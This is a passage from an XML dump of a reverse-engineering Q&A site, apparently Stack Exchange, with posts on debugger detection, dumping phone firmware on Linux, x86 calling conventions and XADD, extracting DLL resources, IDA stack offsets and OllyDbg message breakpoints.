this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attach and detach to the running process to see how IsDebuggerPresent changes&lt;/li&gt;&#xA;&lt;li&gt;Once it's attached, try to hide the debugger&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By doing so, you'll understand the very basics about IsDebuggerPresents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About SetWindowsHookExA, I've seen it used on legit apps countless times so I can guarantee you is definitely not a microsoft function whose purpose is to be used on &quot;naughty&quot; apps :)&lt;/p&gt;&#xA;" OwnerUserId="18079" LastActivityDate="2018-08-30T13:07:25.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19201" PostTypeId="1" AcceptedAnswerId="19225" CreationDate="2018-08-30T14:53:28.620" Score="3" ViewCount="1466" Body="&lt;p&gt;I have a &quot;MiracleBox&quot; software for GSM repairing and and old cell phone (Wiko Lubi 4) with a RD8851CL chip inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this MiracleBox running on Windows I can make a dump of this chip without disassembling the phone, or rewrite the phone password and a lot of more cool things...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the idea to do it manually... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had to connect the phone to my computer with USB and to put the phone in &quot;Download Mode&quot; (Pressing key 0 for few secs) and then I pressed &quot;Read&quot; in the software.&#xA;It's really easy to get a bin file with the entire firmware inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to open this firmware with a hexadecimal editor then I found the phone's password and I changed it and finally I rewrote the firmware to the phone with MiracleBox software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm looking for some help because I want to dump the chip without any MiracleBox and I want to do this with Linux...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plugged the phone (download mode) to my laptop running debian, then I did &quot;dmesg&quot; command in terminal.&#xA;This is the output of the command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[110290.523173] usb 3-2: new full-speed USB device number 9 using ohci-pci&#xA;[110290.720228] usb 3-2: New USB device found, idVendor=1e04, idProduct=0904, bcdDevice=34.10&#xA;[110290.720239] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&#xA;[110290.720244] usb 3-2: Product: WIKO&#xA;[110290.720250] usb 3-2: Manufacturer: Removable disk&#xA;[110290.720255] usb 3-2: SerialNumber: USB Controller 1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can somebody give me some explanations in way to dump the chip with linux command lines?&#xA;It's the first time that I try to reverse a firmware etc and I'm not a professional.... I just want to learn and progress.&#xA;If it's necessary, I have the full datasheet of RDA8851CL chip (It's too hard to understand for me to be honest)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much.&lt;/p&gt;&#xA;" OwnerUserId="25505" LastActivityDate="2018-09-02T16:13:05.373" Title="How to dump a firmware from an old cell phone with Linux?" Tags="|firmware|linux|dumping|dump|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19202" PostTypeId="1" CreationDate="2018-08-30T16:03:40.033" Score="4" ViewCount="570" Body="&lt;p&gt;I have a peculiar snippet of code which I cannot wrap my head around:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 0xC           ; arg1 for call&#xA;mov ecx,edi        ; set the this pointer for call&#xA;call sdk.100039F0  ; make the call (internally calls DeviceIOControl)&#xA;push ecx           ; ECX now points to a function within kernelbase.dll&#xA;mov ecx,edi        ; set the this pointer for call&#xA;call sdk.10003BD0  ; make the call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A call to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DeviceIoControl&lt;/code&gt;&lt;/a&gt; within the first function call modifies ECX. Why is it pushed as an argument to the second call? The second call itself does NOT accept arguments, it does not reference &lt;code&gt;[ebp + n]&lt;/code&gt; at all, yet it still concludes with a &lt;code&gt;ret 4&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directly after this is a third call, which also internally uses &lt;code&gt;DeviceIOControl&lt;/code&gt; then the function returns. This third call does not have the mysterious push before it. All these functions, including the container, make use of &lt;code&gt;thiscall&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case I missed something, this is the body of the second call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp,esp&#xA;sub esp,0x30&#xA;push ebx&#xA;push esi&#xA;mov eax,ecx&#xA;xor esi,esi&#xA;push edi&#xA;mov edi,dword ptr ds:[&amp;lt;&amp;amp;DeviceIoControl&amp;gt;]&#xA;mov ecx,sdk.10002690&#xA;mov dword ptr ss:[ebp-0x8],eax&#xA;mov edx,0x8000&#xA;test ecx,ecx&#xA;je aura_sdk.10003C35&#xA;mov ax,word ptr ds:[eax+0x4]&#xA;push 0x0&#xA;mov word ptr ss:[ebp-0x20],ax&#xA;lea eax,dword ptr ss:[ebp-0x14]&#xA;push eax&#xA;push 0x4&#xA;lea eax,dword ptr ss:[ebp-0x4]&#xA;mov dword ptr ss:[ebp-0x4],0x0&#xA;push eax&#xA;push 0x7&#xA;lea eax,dword ptr ss:[ebp-0x20]&#xA;mov byte ptr ss:[ebp-0x1A],0x1&#xA;push eax&#xA;push 0x80102050&#xA;push dword ptr ds:[0x100375C0]&#xA;call edi&#xA;mov bl,byte ptr ss:[ebp-0x4]&#xA;mov ecx,sdk.10002690&#xA;mov edx,0x8000&#xA;jmp sdk.10003C37&#xA;xor bl,bl&#xA;test bl,0x9E&#xA;jne sdk.10003C8A&#xA;test ecx,ecx&#xA;je sdk.10003C7D&#xA;push 0x0&#xA;mov eax,0xED&#xA;mov dword ptr ss:[ebp-0xC],0x0&#xA;mov word ptr ss:[ebp-0x28],ax&#xA;lea eax,dword ptr ss:[ebp-0x18]&#xA;push eax&#xA;push 0x4&#xA;lea eax,dword ptr ss:[ebp-0xC]&#xA;mov byte ptr ss:[ebp-0x22],0x1&#xA;push eax&#xA;push 0x7&#xA;lea eax,dword ptr ss:[ebp-0x28]&#xA;push eax&#xA;push 0x80102050&#xA;push dword ptr ds:[0x100375C0]&#xA;call edi&#xA;mov ecx,sdk.10002690&#xA;mov edx,0x8000&#xA;mov eax,dword ptr ss:[ebp-0x8]&#xA;inc esi&#xA;cmp si,dx&#xA;jb sdk.10003BF0&#xA;test bl,0x82&#xA;je sdk.10003CA3&#xA;pop edi&#xA;test bl,0x1C&#xA;mov eax,0x0&#xA;pop esi&#xA;sete al&#xA;pop ebx&#xA;mov esp,ebp&#xA;pop ebp&#xA;ret 0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this a case of the compiler correcting itself or is there a purpose?&lt;/p&gt;&#xA;" OwnerUserId="25311" LastEditorUserId="25311" LastEditDate="2018-08-31T08:31:33.220" LastActivityDate="2018-08-31T18:29:35.800" Title="Using ECX after being modified by a function call" Tags="|x86|assembly|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19205" PostTypeId="1" CreationDate="2018-08-30T20:19:50.123" Score="1" ViewCount="274" Body="&lt;p&gt;I want to set in IDA breakpoint when a specific value is written on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to set hardware breakpoint, but I can set it only by address.&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="245" LastEditDate="2018-08-31T07:11:37.833" LastActivityDate="2018-08-31T07:11:37.833" Title="How to set hardware breakpoint by value?" Tags="|ida|windows|debugging|hardware|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19206" PostTypeId="2" ParentId="19205" CreationDate="2018-08-30T20:24:09.037" Score="1" Body="&lt;p&gt;You simply cannot. There are no mechanisms by which you can break execution on a specific value write. You'll have to use any other mechanisms, probably a memory breakpoint, and a conditional check of what's at the top of the stack.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-08-30T20:24:09.037" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19207" PostTypeId="1" AcceptedAnswerId="19211" CreationDate="2018-08-31T08:26:58.243" Score="4" ViewCount="869" Body="&lt;p&gt;I've come across a set of instructions using &lt;code&gt;lock xadd&lt;/code&gt; which I'm guessing came from one of the C++ smart pointer templates. (It's been a very long time since I coded C++ so I'm not sure which).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea ecx,dword ptr ds:[edi+0x4]   ; edi is a class object&#xA;or eax,0xFFFFFFFF&#xA;lock xadd dword ptr ds:[ecx],eax ; add -1 to edi[1]&#xA;jne sdk.1000C801&#xA;mov eax,dword ptr ds:[edi]       ; edi's vtable&#xA;mov ecx,edi                      ; prepare thiscall&#xA;call dword ptr ds:[eax]          ; call edi-&amp;gt;vtable[0] ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see a member of edi is decreased, but how does this effect &lt;code&gt;ZF&lt;/code&gt; and when would the &lt;code&gt;jne&lt;/code&gt; not be taken? This part of the code is never executed since &lt;code&gt;edi&lt;/code&gt; is always 0, so I cannot step though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me it looks like a smart pointer, and when the value becomes 0 a destructor is called. To add to my confusion, there are two of these, side by side. The first operates on &lt;code&gt;edi[1]&lt;/code&gt; the second on &lt;code&gt;edi[2]&lt;/code&gt; which calls &lt;code&gt;vtable[1]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25311" LastActivityDate="2018-08-31T18:09:35.903" Title="How does the XADD instruction modify the Zero Flag?" Tags="|assembly|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19208" PostTypeId="2" ParentId="19189" CreationDate="2018-08-31T09:34:34.480" Score="0" Body="&lt;p&gt;First find the DLL or EXE file that you want to access for that resource. THe main goal is to create a handle for that resource/image file, as everything in Windows has to accessed by an object/handle.&lt;/p&gt;&#xA;&lt;h2&gt;Procedure&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get a handle of that DLL/EXE file with &lt;code&gt;LoadLibrary()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HMODULE hModule = LoadLibrary(&amp;quot;FileName.dll&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Determine the location of that resource with &lt;code&gt;FindResource()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HRSRC hResInfo = FindResource(hModule, ResourceName, RT_ICON);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Retrieves a handle of the resource in memory with &lt;code&gt;LoadResource()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HGLOBAL hResData = LoadResource(hModule, hResInfo);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Retrieves a pointer of the resource in memory with &lt;code&gt;LockResource()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HANDLE lpBuffer = LockResource(hResData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Retrieves the size, in bytes, of the resource with &lt;code&gt;SizeofResource()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD dwSize = SizeofResource(hModule, hResInfo);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open a handle of that resource with &lt;code&gt;CreateFile()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HANDLE hFile = CreateFile(FileName, GENERIC_ALL, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change &lt;code&gt;RT_ICON&lt;/code&gt; flags with the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/menurc/resource-types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resource Type&lt;/a&gt; that you want to access. Now use the &lt;code&gt;hFile&lt;/code&gt; handle with &lt;code&gt;WriteFile()&lt;/code&gt; to make a file or &lt;code&gt;ReadFile()&lt;/code&gt; to read that file.&lt;/p&gt;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&lt;p&gt;Here is an example of C code to extract the first icon from &lt;code&gt;shell32.dll&lt;/code&gt; and save it as &lt;code&gt;image.png&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;BOOL ExtractResource(PSTR ResName, PSTR FileName) {&#xA;    HMODULE hModule = LoadLibrary(&amp;quot;shell32.dll&amp;quot;);&#xA;    HRSRC hResInfo = FindResource(hModule, ResName, RT_ICON);&#xA;    HGLOBAL hResData = LoadResource(hModule, hResInfo);&#xA;    HANDLE lpBuffer = LockResource(hResData);&#xA;    DWORD dwSize = SizeofResource(hModule, hResInfo);&#xA;    HANDLE hFile = CreateFile(FileName, GENERIC_ALL, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);&#xA;    BOOL result = WriteFile(hFile, lpBuffer, dwSize, 0, 0);&#xA;    return result;&#xA;}&#xA;&#xA;int main() {&#xA;    ExtractResource(&amp;quot;#1&amp;quot;, &amp;quot;image.png&amp;quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-08-31T17:51:35.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19210" PostTypeId="1" CreationDate="2018-08-31T12:14:56.100" Score="3" ViewCount="1259" Body="&lt;pre&gt;&lt;code&gt;a = byte ptr -19h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why offset from stack base can be a negative number ? Can anyone explain this for me please?&lt;/p&gt;&#xA;" OwnerUserId="25493" LastActivityDate="2018-08-31T18:21:13.603" Title="Why IDA define negative offset?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19211" PostTypeId="2" ParentId="19207" CreationDate="2018-08-31T12:32:05.120" Score="3" Body="&lt;p&gt;I think your general commenting is rather correct (although not sure about the smart pointer). As a hint w/r to the xadd: A good assembler reference is &lt;a href=&quot;http://faydoc.tripod.com/cpu/xadd.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;tripod&lt;/a&gt;, giving a comprehensive description. Being an addition, xadd affects the zero flag. The lock prefix converts it into an atomic instruction. If your &quot;smart pointer&quot; interpretation is correct, this lock would be a necessity to keep the reference count clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following slightly enhances your code comments from my interpretation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea ecx,dword ptr ds:[edi+0x4]   ; edi is a class object&#xA;or eax,0xFFFFFFFF&#xA;lock xadd dword ptr ds:[ecx],eax ; add -1 to edi[1], eax obtains edi[1]&#xA;jne sdk.1000C801                 ; edi[1] != 1 ? yes -&amp;gt; sdk.1000c801&#xA;mov eax,dword ptr ds:[edi]       ; edi's vtable&#xA;mov ecx,edi                      ; prepare thiscall&#xA;call dword ptr ds:[eax]          ; call edi-&amp;gt;vtable[0] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In pseudocode, you could write it like this (the register values prepended with an underscore):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int _eax = _edi[1];&#xA;if (_edi[1]-- != 1)&#xA;    goto sdk.1000c801;      //_eax has _edi[1] value, in case it's needed here&#xA;_edi-&amp;gt;vtable[0] ();         //call first entry in vtable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2018-08-31T13:15:22.630" LastActivityDate="2018-08-31T13:15:22.630" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19212" PostTypeId="1" AcceptedAnswerId="19217" CreationDate="2018-08-31T14:14:07.140" Score="2" ViewCount="2209" Body="&lt;p&gt;In the debugger program OllyDbg, How do I set a breakpoint when the left mouse button is pressed? It doesn't matter what it clicks on, so upon mouse click, the breakpoint stops the debugger.&lt;/p&gt;&#xA;" OwnerUserId="25497" LastActivityDate="2018-08-31T18:29:03.963" Title="How to set a Mouse Click BreakPoint in OllyDbg?" Tags="|ollydbg|breakpoint|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19213" PostTypeId="2" ParentId="19212" CreationDate="2018-08-31T16:35:24.417" Score="1" Body="&lt;p&gt;Regardless of operating system, a mouse click represents an event and there is a bunch of event handling plumbing that makes this happen. Some of this can hinge upon certain design choices like how processes are separated in the GUI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common pattern is to register a context relative to which events can be processed through an implemented handler. Traditionally under Windows, this is a &quot;Window Class&quot; and practically everything is a window. The definition of that window class includes a function/method that handles the events/messages sent to the target window. To target a specific window with a debugger, you would want to break on a condition where the message/event handling function is called with the event you want (like &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/inputdev/wm-lbuttondown&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WM_LBUTTONDOWN&lt;/code&gt;&lt;/a&gt; on Windows). There are cases where default handling of events can occur as well, a la &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-defwindowproca&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DefWindowProc()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this in a broader context would require hooking that is facilitated by the operating system, perhaps at the kernel level. There may be other options for you available through &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/winmsg/about-hooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hooks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25516" LastEditorUserId="2147" LastEditDate="2018-08-31T17:53:53.640" LastActivityDate="2018-08-31T17:53:53.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19214" PostTypeId="2" ParentId="19207" CreationDate="2018-08-31T18:09:35.903" Score="4" Body="&lt;p&gt;The question about the zero flag and the &lt;code&gt;xadd&lt;/code&gt; instruction has been sufficiently answered by josh. This answer is meant to add some surrounding information about the smart pointer you see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you see is typical code for &lt;code&gt;shared_ptr&lt;/code&gt;, &lt;em&gt;the&lt;/em&gt; standard reference counting smart pointer in the C++ standard library. A &lt;code&gt;shared_ptr&lt;/code&gt; object (that is the pointer itself, not what it points to!) contains two(!) pointer values. The first pointer points to the pointee, the second pointer points to a management object. The management objects contains the vtable pointer followed by two reference counts, followed by other stuff depending on the specific kind of management object (for example, if the deleter is not stateless, the deleter's state is also included in the management object). The first reference count in the management object contains the number of &lt;em&gt;strong&lt;/em&gt; references to the object (i.e. the number of &lt;code&gt;shared_ptr&lt;/code&gt;s pointing to that object), whereas the second reference count contains the number of references to the management object. All strong references together count as a single reference to the management object, but every &lt;code&gt;weak_ptr&lt;/code&gt; counts as an individual further reference to the management object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever a (non-null) &lt;code&gt;shared_ptr&lt;/code&gt; goes out of scope, the count of strong references is decreased. If the count of strong references reaches zero, the lifetime of &lt;em&gt;pointee&lt;/em&gt; ends, and the first vtable function is called to destroy the pointee. This invokes the deleter specified when creating the shared pointer (which (indirectly) defaults to &lt;code&gt;delete&lt;/code&gt; (possibly &lt;code&gt;delete[]&lt;/code&gt;for arrays) if no deleter was specified). Furthermore, after deletion of the object, the cumulative reference to the management object for all strong references is also decreased. If that reference count reaches zero, the management object can be destroyed, by calling the second vtable function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a (non-null) &lt;code&gt;weak_ptr&lt;/code&gt; goes out of scope, just the reference count to the management object is decreased (as the &lt;code&gt;weak_ptr&lt;/code&gt; does not carry a strong reference). If this reference count reaches zero, there are no strong references (because otherwise the cumulative reference to the management would still exist), and no other &lt;code&gt;weak_ptr&lt;/code&gt;s. The pointee has already been destroyed when the last strong reference went out of scope, so just the management object has be destroyed (again, by calling the second vtable entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an optimization possibility when the pointee and the management object are created at the same time. In that case, the memory for both objects can be allocated in one block. The management object in that case is no bigger than the vtable and the two reference counts and precedes the pointee. The first vfunction just calls the destructor of the pointee, but does not free its memory. The second vfunction destroys the memory block containing the management object and the already destroyed pointee. This optimization is taken when a &lt;code&gt;shared_ptr&lt;/code&gt; is created using &lt;code&gt;make_shared&lt;/code&gt;. The downside of this optimization is that the memory block for the pointee is freed only when no &lt;em&gt;weak or strong&lt;/em&gt; refences exist, instead of already then just the &lt;em&gt;strong&lt;/em&gt; references are gone. In most use cases of &lt;code&gt;shared_ptr&lt;/code&gt;, there are no &lt;code&gt;weak_ptr&lt;/code&gt;s, so the downside usually does not matter.&lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2018-08-31T18:09:35.903" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19215" PostTypeId="2" ParentId="19202" CreationDate="2018-08-31T18:16:34.820" Score="2" Body="&lt;p&gt;This looks like the result of compiler optimization. The second callee (a &lt;code&gt;fastcall&lt;/code&gt; function) takes an argument it obviously doesn't use. The compiler is in a situation where it is unable to modify the calling convention of the second call, so it still has to take the one argument and remove it from the stack. Most likely, the compiler can not prove that the function is not called by external code it can not adjust. But the compiler can use the knownledge that the function does not use its argument when compiling callers to it, by removing the code that calculates the argument and pushing a dummy argument instead. &lt;code&gt;push ecx&lt;/code&gt; is a one-byte instruction and thus a very efficient way to provide the required dummy argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Visual C++ in release mode, you should be aware that by default &lt;em&gt;link-time code generation&lt;/em&gt; is enabled. If both the application and the SDK are compiled with link-time code generation, the &quot;object files&quot; in fact contain some abstract intermediate representation of the code and the actual transformation to binary code happens at link time when all libraries with link-time code generation enabled and the application are combined. This enables argument elision even if the object files or static libraries were generated independent of each other.&lt;/p&gt;&#xA;" OwnerUserId="21359" LastEditorUserId="21359" LastEditDate="2018-08-31T18:29:35.800" LastActivityDate="2018-08-31T18:29:35.800" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19216" PostTypeId="2" ParentId="19210" CreationDate="2018-08-31T18:21:13.603" Score="1" Body="&lt;p&gt;The way IDA displays variables at the top of a function definition is by their offset from the stack base (&lt;code&gt;ebp&lt;/code&gt;, &lt;code&gt;rbp&lt;/code&gt;) at the function's beginning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless there's something strange going on, negative offsets mean the function itself allocated stack space for local variables (or, depending on compiler and calling convention for argument passing as well). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When stack space is allocated by subtracting the stack pointer (&lt;code&gt;esp&lt;/code&gt;, &lt;code&gt;rsp&lt;/code&gt;), whether the stack base register is used or not, the base stack &lt;em&gt;does not change&lt;/em&gt;. Therefore, memory &lt;em&gt;below&lt;/em&gt; the &lt;em&gt;stack base&lt;/em&gt; register becomes available. When the stack base register is unused, IDA will still display the stack offset relative to the stack base, by explicitly splitting the stack base offset (from the current stack position) and the variable offset from the stack base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, take a look at the following function prelog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_448= qword ptr -448h&#xA;var_438= word ptr -438h&#xA;var_436= byte ptr -436h&#xA;var_434= byte ptr -434h&#xA;var_38= qword ptr -38h&#xA;var_28= qword ptr -28h&#xA;arg_0= qword ptr  8&#xA;arg_10= qword ptr  18h&#xA;&#xA;mov     r11, rsp&#xA;push    rbp&#xA;push    rsi&#xA;push    r14&#xA;push    r15&#xA;sub     rsp, 448h&#xA;mov     rax, cs:__security_cookie&#xA;xor     rax, rsp&#xA;mov     [rsp+468h+var_38], rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see &lt;code&gt;var_38&lt;/code&gt; is at offset &lt;code&gt;-38&lt;/code&gt; from the stack base, but because &lt;code&gt;rsp&lt;/code&gt; is used to access &lt;code&gt;var_38&lt;/code&gt;, IDA displays the &lt;code&gt;468h+var_38&lt;/code&gt; instead of the immediate offset used. That's done to show the variable being accessed regardless of the current stack position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The adding &lt;code&gt;rsp&lt;/code&gt; and &lt;code&gt;468h&lt;/code&gt; gives us the stack base as a computation using the current stack pointer and the stack delta from the function's start. That's how the compiler avoids using the stack base register, by computing it from the stack register and delta. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-08-31T18:21:13.603" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19217" PostTypeId="2" ParentId="19212" CreationDate="2018-08-31T18:29:03.963" Score="4" Body="&lt;p&gt;All messages in a gui application passes through the Application Defined Callback WinProc whose prototype is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LRESULT CALLBACK WindowProc(&#xA;  _In_ HWND   hwnd,&#xA;  _In_ UINT   uMsg,&#xA;  _In_ WPARAM wParam,&#xA;  _In_ LPARAM lParam&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so when you have breakpointed on a wndproc  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;esp    -&amp;gt; return Address&#xA;esp+4  -&amp;gt; hwnd &#xA;esp+8  -&amp;gt; uMsg  &#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/winmsg/about-messages-and-message-queues#system_defined&quot; rel=&quot;nofollow noreferrer&quot;&gt;** MSDN Doc For List of messages**&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to know a windoproc or class proc &#xA;use alt+w  shortcut in ollydbg (opens a list of windows )&#xA;right click to open the context menu and follow Either Wndproc or ClassProc&#xA;for the appropriate window of choice &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hit shift+f4 and set a log breakpoint that never pauses  and &#xA;set the function type to be WndProc (Assume Function Of Type DropDown)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see screen shot below&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kWRv1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kWRv1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and run the app &lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to log window and observe you will see a lot of logs like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator&#xA;            00000210  Msg = WM_PARENTNOTIFY&#xA;            00000204  Event = WM_RBUTTONDOWN, ID = 0&#xA;            00230006  Data = 230006&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000021  Msg = WM_MOUSEACTIVATE&#xA;            00010236  hParent = 00010236, class = CalcFrame, text = Calculator&#xA;            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator&#xA;            00000021  Msg = WM_MOUSEACTIVATE&#xA;            00010236  hParent = 00010236, class = CalcFrame, text = Calculator&#xA;            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000020  Msg = WM_SETCURSOR&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator&#xA;            00000020  Msg = WM_SETCURSOR&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN&#xA;00551EDE  Call to CALC.WndProc from USER32.77B4C4E4&#xA;            00030248  hWnd = 00030248, class = CalcFrame&#xA;            00000204  Msg = WM_RBUTTONDOWN&#xA;            00000002  Keys = MK_RBUTTON&#xA;            00230006  X = 6, Y = 35.&#xA;00551EDE  Call to CALC.WndProc from 